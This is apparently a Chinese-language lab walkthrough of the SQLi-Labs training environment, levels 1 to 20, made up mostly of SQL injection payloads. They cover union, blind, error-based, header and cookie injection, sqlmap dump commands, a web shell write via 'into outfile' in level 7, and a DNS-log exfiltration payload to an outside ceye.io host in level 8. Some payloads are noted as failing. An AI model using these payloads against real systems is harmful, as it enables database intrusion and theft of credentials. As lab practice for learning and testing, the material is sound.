环境配置
SQLi Labs 使用的是 PHP+Mysql 的环境配置,大家可以直接在百度上下载一个 phpstudy 的
集成环境,一键安装。
环境参考教程:
https://blog.csdn.net/tscaxx/article/details/123513257?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166191405616782391890376%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=166191405616782391890376&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_click~default-1-123513257-null-null.142^v42^new_blog_pos_by_title&utm_term=sqlilabs%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA&spm=1018.2226.3001.4187
写在前面:文中包含url编码,其中
%20 -- 空格 %27 -- 单引号 %22 -- 双引号
目录
L13:POST – 基于错误 – 单引号 – 字符型(双括号)
L15:POST – 基于布尔 – 单引号 – 字符型(盲注)
L16:POST – 基于时间 – 双引号(括号) – 字符型(盲注)
L17:POST – UPDATA– 基于错误 – 单引号 – 字符型编辑
L18:POST – 头信息– uagent – 基于错误 – 字符型编辑
L19:POST – 头信息– referer– 基于错误 – 字符型编辑
L1:GET – 基于错误 – 单引号 – 字符型
测试:
?id=1 ——正常
?id=-1 ——正常
?id=1 and 1=2——正常
?id=1’ --+ —— 报错 —— 可能存在注入——字符型
?id=1’ order by x--+ —— 经过测试,3回显正常,4报错,说明表格有3列
Less-1/?id=-1’ union select 1,2,3(注意前面是-1,否则不会报错回显)此处回显了2,3
浅试一下:Less-1/?id=-1’ union select 1,database(),version()--+
获取数据库名:
Less-1/?id=-1' union select 1,group_concat(schema_name),database() from information_schema.schemata--+
前面得知当前数据库是security,获取表名:
Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+(注意数据库名要加””号!)
获取列名:
Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and table_name="users"--+
查看数据:
http://192.168.119.128/Less-1/?id=-1' union select 1,group_concat(id,username),group_concat(password) from security.users--+
可以看到,id=2时,name为Angelina,password为I-kill-you
id为3时,name为Dummy,password为p@ssword
我们验证一下:http://192.168.119.128/Less-1/?id=3
L2:GET – 基于错误 – 数字型
?id=1 and 1=1 ——正常
?id=1 and 1=2 ——错误——数字型
?id=1 order by x ——3对4错,3列
?id=-1 union select 1,2,3--+——注入点为2,3
获取数据库名和当前数据库名:
Less-2/?id=-1 union select 1,group_concat(schema_name),database() from information_schema.schemata--+
获取表名:
Less-2/?id=-1 union select 1,group_concat(table_name),version() from information_schema.tables where table_schema="security"--+
获取列名:
Less-2/?id=-1 union select 1,group_concat(column_name),version() from information_schema.columns where table_schema="security" and table_name="users"--+
获取数据:
Less-2/?id=-1 union select 1,group_concat(id,username),group_concat(password) from security.users limit 0,1--+
Less-2/?id=2
L3:基于错误-单引号变形-字符型
Less-3/?id=1--+ ——正常
Less-3/?id=1’ and 1=1--+ ——报错
Less-3/?id=1’) and 1=1--+ ——正常
Less-3/?id=1’) and 1=2--+ ——报错——’)过滤
?id=1’)order by x--+ ——3对4错3列
?id=-1’) union select 1,2,3--+
?id=-1’) union select 1,database(),version()--+
Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and table_name="users"--+
Less-3/?id=-1')union select 1,group_concat(username),group_concat(password) from security.users--+
L4:基于错误-双引号-字符型
Less-4/?id=1'--+ ——正常
Less-4/?id=1' and 1=2--+ ——正常
Less-4/?id=1"--+ ——报错如下
Less-4/?id=1")--+ —— 正常
Less-4/?id=1") and 1=2--+ ——报错——注入
Less-4/?id=-1") union select 1,2,3--+
Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
换个数据库看看,先看表名:
Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and table_name="emails"--+
查看emails数据:
Less-4/?id=-1") union select 1,group_concat(id),group_concat(email_id) from security.emails--+
L5:不用注释的查询
Less-5/?id=1'--+ ——报错
Less-5/?id=1' and 1=1--+ ——正常
Less-5/?id=1' and 1=2--+ ——报错——注入
Less-5/?id=1' order by x —— 3对4错,3列
由于返回结果都是You are in.......
盲注:
1.猜数据库长度(根据前面几关,可以猜测数据库还是security)
Less-5/?id=1' and length((select(database())))>1--+——正常
Less-5/?id=1' and length((select(database())))>9--+——错误
Less-5/?id=1' and length((select(database())))=8--+——正常——数据库长度为8
2.猜数据库名称:
Less-5/?id=1' and substr(database(),1,1)='a'--+——报错/错误页面
Less-5/?id=1' and substr(database(),1,1)='s'--+——正常——首字母为’s’
Less-5/?id=1' and substr(database(),2,1)='e'--+——正常——第二个字母为’e’
以此类推,直到
Less-5/?id=1' and substr(database(),8,1)='y'--+——正常——第八位为’y’
得到数据库名为security
Less-5/?id=1' and substr(database(),1,8)='security'--+——正常——数据库为security
正常做法:
1.猜测数据库长度:
Less-5/?id=1' and length((select database()))=8--+——正常——数据库名为8个字符
2.猜测数据库字符:
Less-5/?id=1' and ascii(substr((select database()),1,1))>100--+——正常——以此类推得到数据库第一个字符的ascii码为115,转换成字符是’s’
以此类推,最终得到数据库名称为security
报错注入:
获取数据库名:
Less-5/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
获取表名:
Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e),1)--+
修改一下limit:
Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1)--+
Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1)--+
Less-5/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e),1)--+
Less-5/?id=1' and updatexml(1,concat(0x7e,(select username from security.users limit 1),0x7e),1)--+
也可采用sqlmap注入:
sqlmap -u “xxx?id=1” --current-db
sqlmap -u “xxx?id=1” -D security --tables
sqlmap -u “xxx?id=1” -D security -T users --columns
sqlmap -u “xxx?id=1” -D security -T users -C id,username,password --dump
L6:双注入-双引号-字符型
与L5一样,也是一直返回You are in......
经测试,此处使用的是”号,同L5,只是把单引号变成了双引号闭合
Less-6/?id=1%22%20and%201=2--+
Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--+
Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27users%27%20limit%201,1),0x7e),1)--+
Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20username%20from%20security.users%20limit%203,1),0x7e),1)--+
Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20password%20from%20security.users%20limit%203,1),0x7e),1)--+
L7:通过 outfile 函数来下载数据库
注入点:
Less-7/?id=1%27))%20and%201=1--+
Less-7/?id=1%27))%20order%20by%203--+
通过文件的读写来上传shell:
Less-7/?id=1')) union select 1,'<?php $_POST[a]; ?>',3 into outfile 'C://1.php'--+
失败了,可能因为保存路径是C盘没有权限,可以改路径为D盘试试,也有可能是其他原因,有大佬知道可以告诉我一下
L8:基于布尔-单引号-盲注
Less-8/?id=1%27%20and%201=2--+
尝试报错注入——无果
Less-8/?id=1%27%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+
方法一:尝试布尔盲注
Less-8/?id=1%27%20and%20length(database())=8--+ —— 正常——数据库长度为8
Less-8/?id=1%27%20and%20substr((select%20database()),1,1)=%27s%27--+
或Less-8/?id=1%27%20and%20ascii(substr((select%20database()),1,1))=115--+
——正常——第一个字母为s
同理获得表名和列名:
Less-8/?id=1%27%20and%20ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%201,1),1,1))=117--+
方法二:尝试DNS_LOG盲注
Less-8/?id=1' and if(select load_file(concat(‘\\\\’,(select database()),’.xxx.ceye.io\\aaa’))),1,0) --+—— 不知道为啥没有解析成功
方法三:sqlmap
sqlmap -u”url” --current-db
sqlmap -u”url” -D security --tables
sqlmap -u”url” -D security -T users --columns
sqlmap -u”url” -D security -T users -C id,username,password --dump
L9:基于时间-单引号-盲注
不论对错,结果总返回YOU ARE IN...——使用时间盲注
Less-9/?id=1%27%20and%20if(substr(database(),1,1)=%27s%27,sleep(5),sleep(10))--+——延时5s,数据库第一个字母s
...
或使用sqlmap:
sqlmap -u "http://192.168.1.106/Less-9/?id=1" -D security -T users -C id,username,password --dump
L10:基于时间-双引号-盲注
sqlmap --level 3 -u "http://192.168.1.106/Less-10/?id=1" --current-db
L11:POST – 单引号 – 字符型
表单——联想到POST注入,前十关都是GET注入
输入1时报错
输入1’:
猜测sql语句为:username=’参数’ and password=’参数’
1’ or 1=1#(注意这里要使用#注释)
1’ order by 3#
1’ order by 2
1’ union select 1,2#
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
1’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’#
1’ union select 1,group_concat(username,password) from security.users#
POST表单使用sqlmap注入:
抓包保存,sqlmap -r ”xxx.txt” --current-db
L12:POST – 双引号 – 字符型(双括号)
输入1”报错:
推测注入点为”) :1”) or 1=1# ——正常
1”) order by x#——2无回显,3报错——2列
1”) union select 1,2#
1”) union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
1”) union select 1,group_concat(column_name) from information_schema.tables where table_schema=’security’ and table_name=’users’#
L13:POST – 基于错误 – 单引号 – 字符型(双括号)
输入1’报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') and password=('') LIMIT 0,1' at line 1
注入点:’)
1’) union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
L14:POST – 基于错误 – 双引号 – 字符型
1” union select1,2#——无回显——可尝试报错注入
好像配置有点问题,使用指导书的uname=123" and (select 1 from (select count(*),(concat("~",database(),"~",floor(rand()*2)))name
from information_schema.tables group by name)b) #&passwd=&submit=Submit
也没有回显
所以最后选择了盲注:
L15:POST – 基于布尔 – 单引号 – 字符型(盲注)
测试为单引号注入1’ or 1=1#——登录成功
无报错回显-使用盲注
1’ or select(substr(database(),1,1))>100#
最终测试结果为ascii(substr(satabase(),1,1))=115为真
测试substr(database(),1,8)=’security’为真
L16:POST – 基于时间 – 双引号(括号) – 字符型(盲注)
经测试,注入点为”)
法一:布尔盲注
uname=1")+or+substr(database(),1,1)='s'#&passwd=&submit=Submit
法2:时间盲注
1") and if(substr(database(),1,1)='s',sleep(5),sleep(10))#
时间盲注好像存在问题。无论怎么样结果都没有延时
法3:sqlmap
抓包sqlmap -r “xxx.txt” (如果不行就加个--level 3)
sqlmap -r “xxx.txt” -D security --tables
sqlmap -r “xxx.txt” -D security -T users --columns
L17:POST – UPDATA– 基于错误 – 单引号 – 字符型
密码重置——UPDATA
用法:UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
利用admin/admin可返回成功,说明后台sql代码为UPDATA table SET password=inputpass WHERE username=inputuser
通过测试,username不存在注入点,测试password
利用报错注入:
1’ and updatexml(1,concat(0x7e,database(),0x7e),1)#
1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 3,1),0x7e),1)#
1’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),0x7e),1)#
uname=admin&passwd=123'+AND+(select+1+from+(select+count(*),(concat("~",(select+username+from+users+limit+0,1),"~",floor(rand()*2)))name+from+information_schema.tables+group+by+name)b)+#&submit=Submit
使用sqlmap:
sqlmap -r “sql.txt” --current-db
L18:POST – 头信息– uagent – 基于错误 – 字符型
抓包在user-agent上注入,当密码输入正确时,返回报错信息
环境有问题,参考答案为:
获取数据库:1',1,(select 1 from (select count(*),(concat("~",database(),"~",floor(rand()*2)))name
from information_schema.tables group by name)b))#
获取表名:1',1,(select 1 from (select count(*),(concat("~",(select table_name from information_schema.tables where table_schema=’security’ limit 0,1,"~",floor(rand()*2)))name
from information_schema.tables group by name)b))#
获取字段名:1',1,(select 1 from (select count(*),(concat("~",(select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1,"~",floor(rand()*2)))name from information_schema.tables group by name)b))#
获取表中数据:
1',1,(select 1 from (select count(*),(concat("~",(select username from users limit
0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b))#
L19:POST – 头信息– referer– 基于错误 – 字符型
当输入正确密码时,返回referer
抓包,在referer上注入:
获取数据库名:
1’ ,(select 1 from (select count(*),(concat(“~”,floor(rand()*2)))name from information_schema.tables group by name)b))#
获取表名:
1', (select 1 from (select count(*),(concat("~",(select table_name from information_schema.tables where table_schema=database() limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b)) #
获取字段名:
1’,select 1 from (select count(*),(concat(“~”,(select column_name from information_schema.columns where table_schema=database() and table_name=’emails’ limit 1,1),”~”,floor(rand()*2)))name from information_schema.tables group by name)b))#
奇怪的是这个报错:
L20:POST – cookie 注入
当登录成功后会返回cookie,测试user-agent无反应,可考虑cookie注入:
Cookie 是由服务器端生成,发送给 User-Agent(一般是浏览器),浏览器会将
Cookie 的 key/value 保存到某个目录下的文本文件内,下次请求同一网站时就
发送该 Cookie 给服务器(前提是浏览器设置为启用 cookie)
- 浏览器F12-应用-cookie
' union select 1,database(),(select table_name from information_schema.tables where table_schema=database() limit 3,1)#
' union select 1,2,(select username from users limit 1,1)#
2. burp